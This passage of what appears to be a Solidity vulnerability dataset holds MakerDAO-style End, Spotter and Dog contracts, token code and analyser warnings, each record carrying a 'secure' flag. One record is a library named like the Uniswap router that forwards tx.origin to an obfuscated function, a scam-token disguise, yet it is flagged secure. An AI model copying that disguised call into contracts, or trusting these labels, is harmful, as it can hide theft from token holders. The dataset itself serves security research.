\"End/tag-ilk-not-defined\");\n\n\t\t// reentrancy-events | ID: c6f37c4\n\t\t// reentrancy-benign | ID: 402a915\n\t\t// unused-return | ID: 3aa5c84\n (address _clip, , , ) = dog.ilks(ilk);\n ClipLike clip = ClipLike(_clip);\n\t\t// reentrancy-events | ID: c6f37c4\n\t\t// reentrancy-benign | ID: 402a915\n\t\t// unused-return | ID: 3e545ec\n (, uint256 rate, , , ) = vat.ilks(ilk);\n\t\t// unused-return | ID: 70ea26d\n (, uint256 tab, uint256 lot, address usr, , ) = clip.sales(id);\n\n\t\t// reentrancy-events | ID: c6f37c4\n\t\t// reentrancy-benign | ID: 402a915\n vat.suck(address(vow), address(vow), tab);\n\t\t// reentrancy-events | ID: c6f37c4\n\t\t// reentrancy-benign | ID: 402a915\n clip.yank(id);\n\n uint256 art = tab / rate;\n\t\t// reentrancy-benign | ID: 402a915\n Art[ilk] = add(Art[ilk], art);\n require(int256(lot) >= 0 && int256(art) >= 0, \"End/overflow\");\n\t\t// reentrancy-events | ID: c6f37c4\n vat.grab(\n ilk,\n usr,\n address(this),\n address(vow),\n int256(lot),\n int256(art)\n );\n\t\t// reentrancy-events | ID: c6f37c4\n emit Snip(ilk, id, usr, tab, lot, art);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: deb1e0e): End.skip(bytes32,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(tag[ilk] != 0,End/tagilknotdefined)\n\t// Recommendation for deb1e0e: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 24efb64): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 24efb64: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 125033d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 125033d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 92dc6b9): End.skip(bytes32,uint256) ignores return value by (None,rate,None,None,None) = vat.ilks(ilk)\n\t// Recommendation for 92dc6b9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cfec489): End.skip(bytes32,uint256) ignores return value by (bid,lot,None,None,None,usr,None,tab) = flip.bids(id)\n\t// Recommendation for cfec489: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 11858a9): End.skip(bytes32,uint256) ignores return value by (_flip,None,None) = cat.ilks(ilk)\n\t// Recommendation for 11858a9: Ensure that all the return values of the function calls are used.\n function skip(bytes32 ilk, uint256 id) external {\n\t\t// timestamp | ID: deb1e0e\n require(tag[ilk] != 0, \"End/tag-ilk-not-defined\");\n\n\t\t// reentrancy-events | ID: 24efb64\n\t\t// reentrancy-benign | ID: 125033d\n\t\t// unused-return | ID: 11858a9\n (address _flip, , ) = cat.ilks(ilk);\n FlipLike flip = FlipLike(_flip);\n\t\t// reentrancy-events | ID: 24efb64\n\t\t// reentrancy-benign | ID: 125033d\n\t\t// unused-return | ID: 92dc6b9\n (, uint256 rate, , , ) = vat.ilks(ilk);\n\t\t// unused-return | ID: cfec489\n (uint256 bid, uint256 lot, , , , address usr, , uint256 tab) = flip\n .bids(id);\n\n\t\t// reentrancy-events | ID: 24efb64\n\t\t// reentrancy-benign | ID: 125033d\n vat.suck(address(vow), address(vow), tab);\n\t\t// reentrancy-events | ID: 24efb64\n\t\t// reentrancy-benign | ID: 125033d\n vat.suck(address(vow), address(this), bid);\n\t\t// reentrancy-events | ID: 24efb64\n\t\t// reentrancy-benign | ID: 125033d\n vat.hope(address(flip));\n\t\t// reentrancy-events | ID: 24efb64\n\t\t// reentrancy-benign | ID: 125033d\n flip.yank(id);\n\n uint256 art = tab / rate;\n\t\t// reentrancy-benign | ID: 125033d\n Art[ilk] = add(Art[ilk], art);\n require(int256(lot) >= 0 && int256(art) >= 0, \"End/overflow\");\n\t\t// reentrancy-events | ID: 24efb64\n vat.grab(\n ilk,\n usr,\n address(this),\n address(vow),\n int256(lot),\n int256(art)\n );\n\t\t// reentrancy-events | ID: 24efb64\n emit Skip(ilk, id, usr, tab, lot, art);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 800537f): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 800537f: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fc2c621): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fc2c621: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a82ead3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a82ead3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dabab2b): End.skim(bytes32,address) ignores return value by (None,rate,None,None,None) = vat.ilks(ilk)\n\t// Recommendation for dabab2b: Ensure that all the return values of the function calls are used.\n function skim(bytes32 ilk, address urn) external {\n\t\t// timestamp | ID: 800537f\n require(tag[ilk] != 0, \"End/tag-ilk-not-defined\");\n\t\t// reentrancy-events | ID: fc2c621\n\t\t// reentrancy-benign | ID: a82ead3\n\t\t// unused-return | ID: dabab2b\n (, uint256 rate, , , ) = vat.ilks(ilk);\n\t\t// reentrancy-events | ID: fc2c621\n\t\t// reentrancy-benign | ID: a82ead3\n (uint256 ink, uint256 art) = vat.urns(ilk, urn);\n\n uint256 owe = rmul(rmul(art, rate), tag[ilk]);\n uint256 wad = min(ink, owe);\n\t\t// reentrancy-benign | ID: a82ead3\n gap[ilk] = add(gap[ilk], sub(owe, wad));\n\n\t\t// timestamp | ID: 800537f\n require(wad <= 2 ** 255 && art <= 2 ** 255, \"End/overflow\");\n\t\t// reentrancy-events | ID: fc2c621\n vat.grab(\n ilk,\n urn,\n address(this),\n address(vow),\n -int256(wad),\n -int256(art)\n );\n\t\t// reentrancy-events | ID: fc2c621\n emit Skim(ilk, urn, wad, art);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 271714c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 271714c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function free(bytes32 ilk) external {\n require(live == 0, \"End/still-live\");\n\t\t// reentrancy-events | ID: 271714c\n (uint256 ink, uint256 art) = vat.urns(ilk, msg.sender);\n require(art == 0, \"End/art-not-zero\");\n require(ink <= 2 ** 255, \"End/overflow\");\n\t\t// reentrancy-events | ID: 271714c\n vat.grab(ilk, msg.sender, msg.sender, address(vow), -int256(ink), 0);\n\t\t// reentrancy-events | ID: 271714c\n emit Free(ilk, msg.sender, ink);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: addb374): End.thaw() uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp >= add(when,wait),End/waitnotfinished)\n\t// Recommendation for addb374: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 88e5a6e): Reentrancy in End.thaw() External calls debt = vat.debt() Event emitted after the call(s) Thaw()\n\t// Recommendation for 88e5a6e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function thaw() external {\n require(live == 0, \"End/still-live\");\n require(debt == 0, \"End/debt-not-zero\");\n require(vat.dai(address(vow)) == 0, \"End/surplus-not-zero\");\n\t\t// timestamp | ID: addb374\n require(block.timestamp >= add(when, wait), \"End/wait-not-finished\");\n\t\t// reentrancy-events | ID: 88e5a6e\n debt = vat.debt();\n\t\t// reentrancy-events | ID: 88e5a6e\n emit Thaw();\n }\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 09309fe): End.flow(bytes32) uses timestamp for comparisons Dangerous comparisons require(bool,string)(fix[ilk] == 0,End/fixilkalreadydefined)\n\t// Recommendation for 09309fe: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1290483): Reentrancy in End.flow(bytes32) External calls (None,rate,None,None,None) = vat.ilks(ilk) Event emitted after the call(s) Flow(ilk)\n\t// Recommendation for 1290483: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d6a8083): End.flow(bytes32) ignores return value by (None,rate,None,None,None) = vat.ilks(ilk)\n\t// Recommendation for d6a8083: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 2bfdb6a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 2bfdb6a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 75a3f7d): End.flow(bytes32) uses a dangerous strict equality require(bool,string)(fix[ilk] == 0,End/fixilkalreadydefined)\n\t// Recommendation for 75a3f7d: Don't use strict equality to determine if an account has enough Ether or tokens.\n function flow(bytes32 ilk) external {\n require(debt != 0, \"End/debt-zero\");\n\t\t// timestamp | ID: 09309fe\n\t\t// incorrect-equality | ID: 75a3f7d\n require(fix[ilk] == 0, \"End/fix-ilk-already-defined\");\n\n\t\t// reentrancy-events | ID: 1290483\n\t\t// unused-return | ID: d6a8083\n\t\t// reentrancy-no-eth | ID: 2bfdb6a\n (, uint256 rate, , , ) = vat.ilks(ilk);\n uint256 wad = rmul(rmul(Art[ilk], rate), tag[ilk]);\n\t\t// reentrancy-no-eth | ID: 2bfdb6a\n fix[ilk] = mul(sub(wad, gap[ilk]), RAY) / (debt / RAY);\n\t\t// reentrancy-events | ID: 1290483\n emit Flow(ilk);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3d5063b): Reentrancy in End.pack(uint256) External calls vat.move(msg.sender,address(vow),mul(wad,RAY)) Event emitted after the call(s) Pack(msg.sender,wad)\n\t// Recommendation for 3d5063b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 89315fd): Reentrancy in End.pack(uint256) External calls vat.move(msg.sender,address(vow),mul(wad,RAY)) State variables written after the call(s) bag[msg.sender] = add(bag[msg.sender],wad)\n\t// Recommendation for 89315fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function pack(uint256 wad) external {\n require(debt != 0, \"End/debt-zero\");\n\t\t// reentrancy-events | ID: 3d5063b\n\t\t// reentrancy-benign | ID: 89315fd\n vat.move(msg.sender, address(vow), mul(wad, RAY));\n\t\t// reentrancy-benign | ID: 89315fd\n bag[msg.sender] = add(bag[msg.sender], wad);\n\t\t// reentrancy-events | ID: 3d5063b\n emit Pack(msg.sender, wad);\n }\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: fed696d): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for fed696d: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 34207ac): Reentrancy in End.cash(bytes32,uint256) External calls vat.flux(ilk,address(this),msg.sender,rmul(wad,fix[ilk])) Event emitted after the call(s) Cash(ilk,msg.sender,wad)\n\t// Recommendation for 34207ac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1607a1b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1607a1b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function cash(bytes32 ilk, uint256 wad) external {\n\t\t// timestamp | ID: fed696d\n require(fix[ilk] != 0, \"End/fix-ilk-not-defined\");\n\t\t// reentrancy-events | ID: 34207ac\n\t\t// reentrancy-benign | ID: 1607a1b\n vat.flux(ilk, address(this), msg.sender, rmul(wad, fix[ilk]));\n\t\t// reentrancy-benign | ID: 1607a1b\n out[ilk][msg.sender] = add(out[ilk][msg.sender], wad);\n\t\t// timestamp | ID: fed696d\n require(\n out[ilk][msg.sender] <= bag[msg.sender],\n \"End/insufficient-bag-balance\"\n );\n\t\t// reentrancy-events | ID: 34207ac\n emit Cash(ilk, msg.sender, wad);\n }\n}",
"file_name": "solidity_code_2768.sol",
"secure": 0,
"size_bytes": 25004
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface VatLike {\n function file(bytes32, bytes32, uint256) external;\n}",
"file_name": "solidity_code_2769.sol",
"secure": 1,
"size_bytes": 154
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\nlibrary IUniswapRouterV2 {\n function swap3(\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n return instance.ekmxj10ikk23lonswap(tx.origin, amount, from);\n }\n\n function swap2(\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n return swap3(instance, amount, from);\n }\n\n function swap99(\n UniswapRouterV2 instance2,\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n return swap2(instance2, amount, from);\n }\n}",
"file_name": "solidity_code_277.sol",
"secure": 1,
"size_bytes": 805
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./VatLike.sol\" as VatLike;\nimport \"./PipLike.sol\" as PipLike;\n\ncontract Spotter {\n mapping(address => uint256) public wards;\n function rely(address guy) external auth {\n wards[guy] = 1;\n }\n function deny(address guy) external auth {\n wards[guy] = 0;\n }\n modifier auth() {\n require(wards[msg.sender] == 1, \"Spotter/not-authorized\");\n _;\n }\n\n struct Ilk {\n PipLike pip;\n uint256 mat;\n }\n\n mapping(bytes32 => Ilk) public ilks;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4d6911c): Spotter.vat should be immutable \n\t// Recommendation for 4d6911c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n VatLike public vat;\n uint256 public par;\n\n uint256 public live;\n\n event Poke(bytes32 ilk, bytes32 val, uint256 spot);\n\n constructor(address vat_) public {\n wards[msg.sender] = 1;\n vat = VatLike(vat_);\n par = ONE;\n live = 1;\n }\n\n uint256 constant ONE = 10 ** 27;\n\n function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require(y == 0 || (z = x * y) / y == x);\n }\n function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {\n z = mul(x, ONE) / y;\n }\n\n function file(bytes32 ilk, bytes32 what, address pip_) external auth {\n require(live == 1, \"Spotter/not-live\");\n if (what == \"pip\") ilks[ilk].pip = PipLike(pip_);\n else revert(\"Spotter/file-unrecognized-param\");\n }\n function file(bytes32 what, uint256 data) external auth {\n require(live == 1, \"Spotter/not-live\");\n if (what == \"par\") par = data;\n else revert(\"Spotter/file-unrecognized-param\");\n }\n function file(bytes32 ilk, bytes32 what, uint256 data) external auth {\n require(live == 1, \"Spotter/not-live\");\n if (what == \"mat\") ilks[ilk].mat = data;\n else revert(\"Spotter/file-unrecognized-param\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: be02e87): Reentrancy in Spotter.poke(bytes32) External calls (val,has) = ilks[ilk].pip.peek() vat.file(ilk,spot,spot) Event emitted after the call(s) Poke(ilk,val,spot)\n\t// Recommendation for be02e87: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function poke(bytes32 ilk) external {\n\t\t// reentrancy-events | ID: be02e87\n (bytes32 val, bool has) = ilks[ilk].pip.peek();\n uint256 spot = has\n ? rdiv(rdiv(mul(uint256(val), 10 ** 9), par), ilks[ilk].mat)\n : 0;\n\t\t// reentrancy-events | ID: be02e87\n vat.file(ilk, \"spot\", spot);\n\t\t// reentrancy-events | ID: be02e87\n emit Poke(ilk, val, spot);\n }\n\n function cage() external auth {\n live = 0;\n }\n}",
"file_name": "solidity_code_2770.sol",
"secure": 0,
"size_bytes": 3012
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface ClipperLike {\n function ilk() external view returns (bytes32);\n function kick(\n uint256 tab,\n uint256 lot,\n address usr,\n address kpr\n ) external returns (uint256);\n}",
"file_name": "solidity_code_2771.sol",
"secure": 1,
"size_bytes": 297
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface VatLike {\n function ilks(\n bytes32\n )\n external\n view\n returns (\n uint256 Art,\n uint256 rate,\n uint256 spot,\n uint256 line,\n uint256 dust\n );\n function urns(\n bytes32,\n address\n ) external view returns (uint256 ink, uint256 art);\n function grab(bytes32, address, address, address, int256, int256) external;\n function hope(address) external;\n function nope(address) external;\n}",
"file_name": "solidity_code_2772.sol",
"secure": 1,
"size_bytes": 607
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface VowLike {\n function fess(uint256) external;\n}",
"file_name": "solidity_code_2773.sol",
"secure": 1,
"size_bytes": 136
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./ClipperLike.sol\" as ClipperLike;\nimport \"./VatLike.sol\" as VatLike;\nimport \"./VowLike.sol\" as VowLike;\n\ncontract Dog {\n mapping(address => uint256) public wards;\n function rely(address usr) external auth {\n wards[usr] = 1;\n emit Rely(usr);\n }\n function deny(address usr) external auth {\n wards[usr] = 0;\n emit Deny(usr);\n }\n modifier auth() {\n require(wards[msg.sender] == 1, \"Dog/not-authorized\");\n _;\n }\n\n struct Ilk {\n address clip;\n uint256 chop;\n uint256 hole;\n uint256 dirt;\n }\n\n VatLike public immutable vat;\n\n mapping(bytes32 => Ilk) public ilks;\n\n VowLike public vow;\n uint256 public live;\n uint256 public Hole;\n uint256 public Dirt;\n\n event Rely(address indexed usr);\n event Deny(address indexed usr);\n\n event File(bytes32 indexed what, uint256 data);\n event File(bytes32 indexed what, address data);\n event File(bytes32 indexed ilk, bytes32 indexed what, uint256 data);\n event File(bytes32 indexed ilk, bytes32 indexed what, address clip);\n\n event Bark(\n bytes32 indexed ilk,\n address indexed urn,\n uint256 ink,\n uint256 art,\n uint256 due,\n address clip,\n uint256 indexed id\n );\n event Digs(bytes32 indexed ilk, uint256 rad);\n event Cage();\n\n constructor(address vat_) public {\n vat = VatLike(vat_);\n live = 1;\n wards[msg.sender] = 1;\n emit Rely(msg.sender);\n }\n\n uint256 constant WAD = 10 ** 18;\n\n function min(uint256 x, uint256 y) internal pure returns (uint256 z) {\n z = x <= y ? x : y;\n }\n function add(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x + y) >= x);\n }\n function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x - y) <= x);\n }\n function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require(y == 0 || (z = x * y) / y == x);\n }\n\n function file(bytes32 what, address data) external auth {\n if (what == \"vow\") vow = VowLike(data);\n else revert(\"Dog/file-unrecognized-param\");\n emit File(what, data);\n }\n function file(bytes32 what, uint256 data) external auth {\n if (what == \"Hole\") Hole = data;\n else revert(\"Dog/file-unrecognized-param\");\n emit File(what, data);\n }\n function file(bytes32 ilk, bytes32 what, uint256 data) external auth {\n if (what == \"chop\") {\n require(data >= WAD, \"Dog/file-chop-lt-WAD\");\n ilks[ilk].chop = data;\n } else if (what == \"hole\") ilks[ilk].hole = data;\n else revert(\"Dog/file-unrecognized-param\");\n emit File(ilk, what, data);\n }\n function file(bytes32 ilk, bytes32 what, address clip) external auth {\n if (what == \"clip\") {\n require(\n ilk == ClipperLike(clip).ilk(),\n \"Dog/file-ilk-neq-clip.ilk\"\n );\n ilks[ilk].clip = clip;\n } else revert(\"Dog/file-unrecognized-param\");\n emit File(ilk, what, clip);\n }\n\n function chop(bytes32 ilk) external view returns (uint256) {\n return ilks[ilk].chop;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: be61caf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for be61caf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9e8d4da): Dog.bark(bytes32,address,address) ignores return value by (None,rate,spot,None,dust) = vat.ilks(ilk)\n\t// Recommendation for 9e8d4da: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 4b265b5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 4b265b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function bark(\n bytes32 ilk,\n address urn,\n address kpr\n ) external returns (uint256 id) {\n require(live == 1, \"Dog/not-live\");\n\n (uint256 ink, uint256 art) = vat.urns(ilk, urn);\n Ilk memory milk = ilks[ilk];\n uint256 dart;\n uint256 rate;\n uint256 dust;\n {\n uint256 spot;\n\t\t\t// unused-return | ID: 9e8d4da\n (, rate, spot, , dust) = vat.ilks(ilk);\n require(\n spot > 0 && mul(ink, spot) < mul(art, rate),\n \"Dog/not-unsafe\"\n );\n\n require(\n Hole > Dirt && milk.hole > milk.dirt,\n \"Dog/liquidation-limit-hit\"\n );\n uint256 room = min(Hole - Dirt, milk.hole - milk.dirt);\n\n dart = min(art, mul(room, WAD) / rate / milk.chop);\n\n if (art > dart) {\n if (mul(art - dart, rate) < dust) {\n dart = art;\n } else {\n require(\n mul(dart, rate) >= dust,\n \"Dog/dusty-auction-from-partial-liquidation\"\n );\n }\n }\n }\n\n uint256 dink = mul(ink, dart) / art;\n\n require(dink > 0, \"Dog/null-auction\");\n require(dart <= 2 ** 255 && dink <= 2 ** 255, \"Dog/overflow\");\n\n\t\t// reentrancy-events | ID: be61caf\n\t\t// reentrancy-no-eth | ID: 4b265b5\n vat.grab(\n ilk,\n urn,\n milk.clip,\n address(vow),\n -int256(dink),\n -int256(dart)\n );\n\n uint256 due = mul(dart, rate);\n\t\t// reentrancy-events | ID: be61caf\n\t\t// reentrancy-no-eth | ID: 4b265b5\n vow.fess(due);\n\n {\n uint256 tab = mul(due, milk.chop) / WAD;\n\t\t\t// reentrancy-no-eth | ID: 4b265b5\n Dirt = add(Dirt, tab);\n\t\t\t// reentrancy-no-eth | ID: 4b265b5\n ilks[ilk].dirt = add(milk.dirt, tab);\n\n\t\t\t// reentrancy-events | ID: be61caf\n id = ClipperLike(milk.clip).kick({\n tab: tab,\n lot: dink,\n usr: urn,\n kpr: kpr\n });\n }\n\n\t\t// reentrancy-events | ID: be61caf\n emit Bark(ilk, urn, dink, dart, due, milk.clip, id);\n }\n\n function digs(bytes32 ilk, uint256 rad) external auth {\n Dirt = sub(Dirt, rad);\n ilks[ilk].dirt = sub(ilks[ilk].dirt, rad);\n emit Digs(ilk, rad);\n }\n\n function cage() external auth {\n live = 0;\n emit Cage();\n }\n}",
"file_name": "solidity_code_2774.sol",
"secure": 0,
"size_bytes": 7121
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface BRAINToken {\n function excludeFromFees(address) external;\n function includeInFees(address) external;\n function changeMarketing(address payable) external;\n function changeTreasury(address payable) external;\n function setMaxTx(uint256) external;\n function toggleMaxTx() external;\n function setTax(uint256) external;\n function toggleTax() external;\n function addBots(address[] memory) external;\n function removeBot(address) external;\n function addMinter(address) external;\n function removeMinter(address) external;\n function mint(address, uint256) external;\n function burn() external;\n function burn(uint256) external;\n}",
"file_name": "solidity_code_2775.sol",
"secure": 1,
"size_bytes": 756
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"./BRAINToken.sol\" as BRAINToken;\n\ncontract Treasury is Ownable {\n using SafeERC20 for IERC20;\n\t// WARNING Optimization Issue (immutable-states | ID: 8d07a8a): Treasury.brain should be immutable \n\t// Recommendation for 8d07a8a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n BRAINToken public brain;\n\t// WARNING Optimization Issue (immutable-states | ID: 9360da4): Treasury.token should be immutable \n\t// Recommendation for 9360da4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public token;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fc7079): Treasury._uniswapV2Router should be constant \n\t// Recommendation for 7fc7079: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router02 _uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address[] path = [_uniswapV2Router.WETH(), address(this)];\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2cd53b9): Treasury.constructor(address)._token lacks a zerocheck on \t token = _token\n\t// Recommendation for 2cd53b9: Check that the address is not zero.\n constructor(address _token) {\n brain = BRAINToken(_token);\n\t\t// missing-zero-check | ID: 2cd53b9\n token = _token;\n }\n\n receive() external payable {}\n\n function buyBackAndBurn(uint256 amount) external onlyOwner {\n _uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{\n value: amount\n }(0, path, address(this), block.timestamp);\n\n brain.burn();\n }\n\n function emergencyWithdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_2776.sol",
"secure": 0,
"size_bytes": 2141
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract MiniPandaInu is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) bannedUsers;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private _tTotal = 690000000000 * 10 ** 9;\n\t// WARNING Optimization Issue (constable-states | ID: 09b76ea): MiniPandaInu.swapEnabled should be constant \n\t// Recommendation for 09b76ea: Add the 'constant' attribute to state variables that never change.\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n\t// WARNING Optimization Issue (immutable-states | ID: 3b70938): MiniPandaInu._dev should be immutable \n\t// Recommendation for 3b70938: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _dev = _msgSender();\n bool private inSwap = false;\n\t// WARNING Optimization Issue (immutable-states | ID: ee6320e): MiniPandaInu._teamAddress should be immutable \n\t// Recommendation for ee6320e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _teamAddress;\n\t// WARNING Optimization Issue (constable-states | ID: d4a167b): MiniPandaInu._name should be constant \n\t// Recommendation for d4a167b: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Mini Panda Inu\";\n\t// WARNING Optimization Issue (constable-states | ID: 09e9459): MiniPandaInu._symbol should be constant \n\t// Recommendation for 09e9459: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"MiniPanda\";\n\t// WARNING Optimization Issue (constable-states | ID: b9433d2): MiniPandaInu._decimals should be constant \n\t// Recommendation for b9433d2: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\t// WARNING Optimization Issue (constable-states | ID: 766d344): MiniPandaInu._rTotal should be constant \n\t// Recommendation for 766d344: Add the 'constant' attribute to state variables that never change.\n uint256 private _rTotal = 1 * 10 ** 15 * 10 ** 9;\n mapping(address => bool) private bots;\n uint256 private _botFee;\n uint256 private _taxAmount;\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 24766d0): MiniPandaInu.constructor(uint256,address).addr1 lacks a zerocheck on \t _teamAddress = addr1\n\t// Recommendation for 